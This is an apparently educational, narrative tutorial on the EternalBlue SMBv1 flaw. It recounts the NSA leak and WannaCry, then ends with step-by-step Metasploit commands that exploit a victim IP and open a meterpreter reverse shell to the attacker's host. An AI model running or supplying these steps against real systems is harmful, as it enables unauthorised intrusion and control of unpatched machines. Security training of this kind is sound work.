The Wound in the System - The Legacy of EternalBlue

Once upon a time, there was a vulnerability that changed history. An open wound in the heart of millions of Windows systems, a silent flaw that no one saw coming... except those who knew where to look. Its name was EternalBlue, and like every great dark tale, it began in the shadows.

It was 2017 when the world learned what some already suspected: the most dangerous secrets are not in the systems, but in those who know them. EternalBlue was a critical vulnerability in the Windows SMBv1 protocol (the one that allows file and printer sharing between machines). This flaw allowed a remote attacker to execute code without authentication, without permissions, without warning. All it took was for port 445 to be exposed, and an entire network could fall like a house of cards. But the most terrifying part was not the flaw itself, but discovering who had known about it all along.

EternalBlue was part of the secret arsenal of the NSA, the United States National Security Agency. Espionage tools, exploits, backdoors carefully crafted to infiltrate enemy systems... and kept silent for years. Until one day, someone leaked them. A group called Shadow Brokers released a digital Pandora's box to the world, a collection of cyber weapons used by the NSA, including EternalBlue. And when knowledge falls into everyone's hands—without context, without responsibility, without control—chaos is not far behind. On May 12, 2017, one word echoed darkly around the world: WannaCry.

A ransomware that took advantage of EternalBlue to spread like wildfire in the digital age. It affected hospitals, governments, banks, companies, home users. It locked data, demanded ransoms, sowed panic. Screens went black, files became inaccessible, productivity stopped—and all because updates weren't applied.

Yes, because Microsoft had already released a patch, weeks before the attack. But as so often happens, the update wasn't installed. Because the system was working. Because no one had time, because "I'll do it tomorrow" was stronger than "better do it now." That's how the story of EternalBlue is not just about a vulnerability. It's about negligence, misused power, institutional silence, and also, an opportunity to learn, to prevent, to build with awareness.

Today you can study EternalBlue as part of your training. From an architecture designed in another era, when connectivity was limited, attacks were less sophisticated, and the SMB protocol—the one that allows file and printer sharing between computers—was considered secure because it supposedly lived inside trusted networks. SMBv1, specifically, was an old, legacy piece. Like a wooden lock in a city that now uses fingerprints. But no one had fully replaced it. Because it still worked. Because it was there. Because no one thought it could hurt so much.

The vulnerability was hidden in the way the SMB service handled specially crafted requests. Poor memory validation. An overflow. A logic error at the heart of a fundamental service. A single malicious packet could break the internal structure of the operating system and allow remote code execution with the highest privileges.

This means an attacker could simply send specific data to port 445—the one SMB listens on—and gain full control of the system without passwords, without user interaction, without warnings. It was silent, it was powerful, it was surgical—and the scariest part wasn't the exploit, but knowing it had been there for years. It wasn't found by an independent researcher. It wasn't a security team that raised the red flag. It was the NSA who discovered it first... and decided not to report it, kept it, used it, turned it into a weapon, and when that knowledge got out, the consequences were immediate. The flaw wasn't just technical, it was human, it was ethical, it was a decision that unleashed a global storm. EternalBlue is not just a coding error, it's a reminder of what happens when the old isn't replaced, when the broken isn't fixed, when the powerful is hidden instead of shared. It's a wound made public because someone decided to keep the pain instead of healing it. And you, who are studying this story today, are not here to judge. You're here to understand. To face the complexity. To see that systems fail, but what we do with those failures defines who we are.

EternalBlue was not inevitable, it was a chain of decisions. You can launch msfconsole, find the module, set the RHOST and the payload. You can feel the chill when you see a shell open, when you realize you have control. But above all, you can learn that true cybersecurity is not in the tool. It's in the decision.

SMB and EternalBlue

SMB (Server Message Block) is a network protocol that allows sharing files, printers, and other resources between computers on a network. It has been present in Windows systems for decades and operates over port 445. It's responsible for letting you access shared folders like \\computer\documents or send a print job to a remote printer. But like anything that hasn't been reinvented in years, SMBv1—the old version of the protocol—carried a weak architecture, designed in a time when security wasn't a priority. EternalBlue exploited that fragility. It did so by manipulating how SMBv1 handles certain malformed requests, causing a buffer overflow. This allows arbitrary code execution on the victim machine, at the system level.

It's unauthenticated remote code execution. Which makes it one of the most critical flaws in recent history—and now you're going to learn to use this vulnerability to understand it, study it, and never underestimate it. Before moving on, you need a tool: Metasploit.

Metasploit

Metasploit is not magic, it's not cheating, it's not an easy button. It's an exploitation platform. A structured collection of exploits, payloads, encoders, scanners, auxiliaries, and more. It's like a Swiss Army knife for ethical hacking, designed to test vulnerabilities and demonstrate what could happen if an organization isn't protected.

Its most important components:

• Exploits: Code that takes advantage of a vulnerability.
• Payloads: The code that runs once the system is exploited. It can be a shell, a meterpreter, etc.
• Auxiliary modules: Scanning, sniffing, fuzzing tools, etc.
• Encoders: Help evade antivirus detection.
• Listeners and handlers: Listen for responses from the victim machine and allow interaction.

Now that you know what Metasploit is, let's go to the battlefield.

How to Exploit EternalBlue with Metasploit

This is the technical path you must follow to exploit EternalBlue:

1. Open Metasploit

    In your terminal, type:
   

1msfconsole

1. Search for the EternalBlue module

    Use the internal module search:
   

1search eternalblue

1. Select the module

    The module we'll use is this one (for Windows 7):
   

1use exploit/windows/smb/ms17_010_eternalblue

1. Check the required options

    See which parameters you need to set:
   

1show options

1. Set the RHOST (victim's IP)

1set RHOSTS <victim_ip>

1. Select a payload

    Usually this one:
   

1set payload windows/x64/meterpreter/reverse_tcp

1. Configure your IP and port for the payload

    Make sure LHOST is your IP (where you'll receive the reverse connection):
   

1set LHOST <your_local_ip>
2set LPORT 4444

1. Run the exploit

    Here begins the part that requires observation, patience, and attention:
   

1exploit

If everything goes well, a Meterpreter session will open—an advanced shell that lets you navigate the system, escalate privileges, move files, log keystrokes, and much more.